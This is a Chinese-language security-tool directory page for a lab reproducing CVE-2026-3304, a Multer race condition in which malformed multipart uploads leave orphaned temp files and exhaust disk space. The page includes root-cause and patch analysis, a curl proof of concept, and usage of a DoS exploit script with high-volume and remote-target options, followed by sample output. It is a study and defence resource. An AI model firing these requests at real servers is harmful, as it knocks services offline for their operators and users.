Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-3304 — CVE-2026-3304 的复现实验室,这是一个 Multer 异步 fileFilter 竞态条件,通过遗留的临时文件导致磁盘耗尽。包含存在漏洞和已修补的 Docker 服务器、漏洞利用脚本以及根本原因分析。 | Kitploit
工具/GitHubGitHub/mkway/cve-2026-3304
漏洞分析漏洞利用Web安全学习与教育实验室与实践
GitHubmkway/cve-2026-3304

CVE-2026-3304

CVE-2026-3304 的复现实验室,这是一个 Multer 异步 fileFilter 竞态条件,通过遗留的临时文件导致磁盘耗尽。包含存在漏洞和已修补的 Docker 服务器、漏洞利用脚本以及根本原因分析。

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-3304 实验环境

仅供教育和研究目的。未经授权攻击系统是违法的。

本实验环境基于对 Multer 2.1.0 补丁及其官方测试代码的分析而构建。 易受攻击的服务器复现了补丁测试中描述的精确条件, 而已修补的服务器运行 Multer 2.1.0 以确认修复有效。

漏洞概述

字段详情
CVECVE-2026-3304
目标Multer < 2.1.0(Node.js multipart/form-data 中间件)
类型DoS — 孤立文件(临时文件清理不完整)
CWECWE-459:不完整的清理
CVSS 4.08.7 高危
已修补版本Multer 2.1.0

一个缺少 name 属性的畸形 multipart 请求会导致 Multer 在磁盘上创建临时文件但从不清理。重复请求会耗尽磁盘空间,从而导致拒绝服务。


根本原因分析

该漏洞源于 multer/lib/make-middleware.js 中 fileFilter 回调处理流程。

核心问题:setImmediate 时序 + 缺少 errorOccured 检查

当 Multer 逐部分流式解析 multipart 请求时,会发生以下序列:

root@kitploit:~
[解析事件序列 — 易受攻击版本]

1. 收到第 1 部分头部
   → 调用 fileFilter(req, file, cb)
   → setImmediate(cb) → 回调延迟到下一个事件循环周期

2. 收到第 1 部分主体
   → 打开 /tmp/uploads/<uuid>,开始写入数据

3. 收到第 2 部分头部(缺少 name 属性)
   → Multer 检测到 'name 缺失'
   → errorOccured = true  ← 设置错误标志
   → 调用 abortWithCode('LIMIT_FIELD_KEY') → 计划发送 HTTP 500

4. setImmediate 回调触发(下一个事件循环周期)
   → fileFilter 结果:includeFile = true(正常流程)
   → [BUG] 未检查 errorOccured 标志
   → 调用 storage._handleFile() → 临时文件提交到磁盘

5. 发送 HTTP 500 响应
   → 临时文件保留在磁盘上(孤立文件)

易受攻击的代码(make-middleware.js — Multer < 2.1.0)

root@kitploit:~
// fileFilter 完成回调(通过 setImmediate 延迟)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ 此处从未检查 errorOccured
  //    即使在解析第 2 部分时已设置错误,执行仍会继续
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // 临时文件被注册到 uploadedFiles 并留在磁盘上
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

为什么 setImmediate 是问题所在?

使用 setImmediate 包装 fileFilter 会将其回调延迟到下一个事件循环周期。 在该时间窗口内,busboy(multipart 解析器)继续解析下一部分的头部, 发现缺少 name,并设置 errorOccured = true。 当回调恢复执行时,错误状态已设置 — 但代码从未检查它, 因此无条件调用 storage._handleFile,临时文件被写入磁盘。


补丁代码分析(Multer 2.1.0)

修复提交:739919097d

在 fileFilter 回调入口之后、到达 storage._handleFile 之前,添加了一个 if (errorOccured) 防护检查。

root@kitploit:~
// fileFilter 完成回调(Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [补丁] 在继续之前检查 errorOccured
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // 排空流 — 不向磁盘写入文件
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

变更摘要

项目易受攻击(< 2.1.0)已修补(2.1.0)
errorOccured 检查❌ 未检查✅ 回调入口立即检查
出错时调用 _handleFile是已阻止
临时文件清理❌ 缺失✅ 通过 fileStream.resume()
每个请求的孤立文件数10

为什么 fileStream.resume() 能清理: 调用 fileStream.resume() 会排空并丢弃流,而不将其传递给 DiskStorage, 因此不会写入任何文件,磁盘上也不会留下任何内容。


官方补丁测试代码

Multer 团队在 2.1.0 补丁中包含了以下 Mocha 测试来验证修复。 该测试成为本实验环境的蓝图 — 易受攻击的服务器 复现了此处描述的精确设置(setImmediate fileFilter + 畸形 multipart 请求), 并针对易受攻击和已修补版本验证预期行为。

root@kitploit:~
/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('async fileFilter cleanup', function () {
  it('does not leave orphan files when request aborts with missing field name', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Vulnerability trigger: async fileFilter via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Error handler: respond with 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Malicious body: Part 1 valid, Part 2 missing name attribute
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= missing
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Assert 1: server must respond with 400 (error)
            assert.strictEqual(res.statusCode, 400)

            // Assert 2: no orphaned files must remain on disk
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
断言含义
res.statusCode === 400Multer 正确拒绝畸形请求
files.length === 0磁盘上未留下孤立文件(补丁已验证)

在易受攻击的版本(< 2.1.0)上,files.length 等于 1,断言失败。


实验实现

本实验直接镜像上述补丁测试设置。

易受攻击的服务器(Dockerfile + app/server.js)运行 Multer 2.0.2,使用基于 setImmediate 的异步 fileFilter — 即补丁测试中的精确触发条件:

root@kitploit:~
// app/server.js — 复现补丁测试的漏洞触发条件
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← 延迟回调,制造竞态条件
      cb(null, true)
    })
  }
})

已修补的服务器(Dockerfile.patched)运行相同的 server.js,但安装 Multer 2.1.0, 其中 errorOccured 防护已就位 — 与补丁测试的预期通过状态一致。

服务器端口Multer预期行为
易受攻击30002.0.2每个畸形请求创建一个孤立文件
已修补30012.1.0无孤立文件 — 清理正常工作

注意: 将 fileFilter 切换为同步(移除 setImmediate)即使在 Multer < 2.1.0 上也能防止孤立文件。 该漏洞需要两个条件同时满足: 异步 fileFilter 以及缺少 errorOccured 检查。


攻击:畸形 POST 请求

攻击发送一个 multipart/form-data POST,其中第二部分缺少必需的 name 属性。

正常请求(安全)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<binary data>
------Boundary--

恶意请求(触发 CVE-2026-3304)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← 第 1 部分:有效,此处创建临时文件
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← 第 2 部分:缺少 name=!
Content-Type: application/octet-stream

x
------Boundary--

服务器端执行流程:

root@kitploit:~
1. 第 1 部分到达  →  Multer 打开 /tmp/uploads/<uuid> 并开始写入
2. 使用 setImmediate 调用 fileFilter  →  回调被延迟
3. 第 2 部分到达  →  Multer 检测到缺少 name  →  errorOccured = true
4. setImmediate 触发  →  fileFilter 回调执行
5. [BUG] 未检查 errorOccured  →  调用 storage._handleFile
6. 临时文件写入磁盘
7. 返回 HTTP 500
8. /tmp/uploads/<uuid> 永久保留在磁盘上  ← 孤立文件

服务器响应:

root@kitploit:~
HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

curl PoC

root@kitploit:~
curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

立即检查孤立文件:

root@kitploit:~
curl http://localhost:3000/status

设置

要求

  • Docker、Docker Compose
  • Python 3 + requests(pip install requests)

启动

root@kitploit:~
# 启动易受攻击(端口 3000)+ 已修补(端口 3001)服务器
docker compose up -d --build

# 验证两者都在运行
curl http://localhost:3000/status
curl http://localhost:3001/status

使用方法

步骤 1 — 单个畸形请求(快速测试)

root@kitploit:~
bash exploit/curl_poc.sh

步骤 2 — DoS 漏洞利用

root@kitploit:~
# 默认(50 个请求)
python3 exploit/exploit.py

# 高强度攻击(500 个请求,每个 5 KB 负载)
python3 exploit/exploit.py --count 500 --size 5120

# 针对使用自签名证书的 HTTPS 目标
python3 exploit/exploit.py --target https://target.example.com --no-verify

# 与已修补版本对比
python3 exploit/exploit.py --target http://localhost:3001 --count 50

步骤 3 — 实时监控(单独终端)

root@kitploit:~
bash exploit/monitor.sh

步骤 4 — 重置上传目录

root@kitploit:~
curl -X DELETE http://localhost:3000/reset

预期结果

目标结果
易受攻击的服务器(3000)每个请求创建一个孤立文件,磁盘持续增长
已修补的服务器(3001)无论请求数量多少,孤立文件均为 0

已验证的测试结果

漏洞利用输出(易受攻击的服务器,50 个请求 × 2 KB)

root@kitploit:~
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50  |  Delay: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0

[  10/50] 500 response: True | orphaned files: 10  | disk: 20.00 KB
[  20/50] 500 response: True | orphaned files: 20  | disk: 40.00 KB
[  30/50] 500 response: True | orphaned files: 30  | disk: 60.00 KB
[  40/50] 500 response: True | orphaned files: 40  | disk: 80.00 KB
[  50/50] 500 response: True | orphaned files: 50  | disk: 100.00 KB

============================================================
[Result] Total requests: 50  |  Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted:    100.00 KB

[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)

容器内验证的实际磁盘使用情况

root@kitploit:~
$ docker exec cve-2026-3304-target df -h /tmp/uploads

攻击前:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

200 个请求 × 5 KB 后:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

每个孤立文件永久保留在磁盘上,直到服务器重启或手动清理。 容器的 tmpfs 上限为 50 MB — 达到限制会导致服务器完全无法处理新上传。

两次运行而不重置 — 文件持续累积

root@kitploit:~
运行 1:  孤立文件   0  ->  50   (100 KB)
运行 2:  孤立文件  50  -> 100   (200 KB)
         ↑ 运行 1 的文件仍然存在 — 从未被清理

已修补的服务器(Multer 2.1.0)— 相同攻击,零影响

root@kitploit:~
[  10/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  20/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  30/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  40/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB
[  50/50] 500 response: True | orphaned files: 0  | disk: 0.00 KB

[*] No orphaned files — patched version cleans up correctly

拆除

root@kitploit:~
docker compose down

参考

  • GitHub Advisory GHSA-xf7r-hgr6-v32p
  • 修复提交 739919097d
  • NVD CVE-2026-3304
下载工具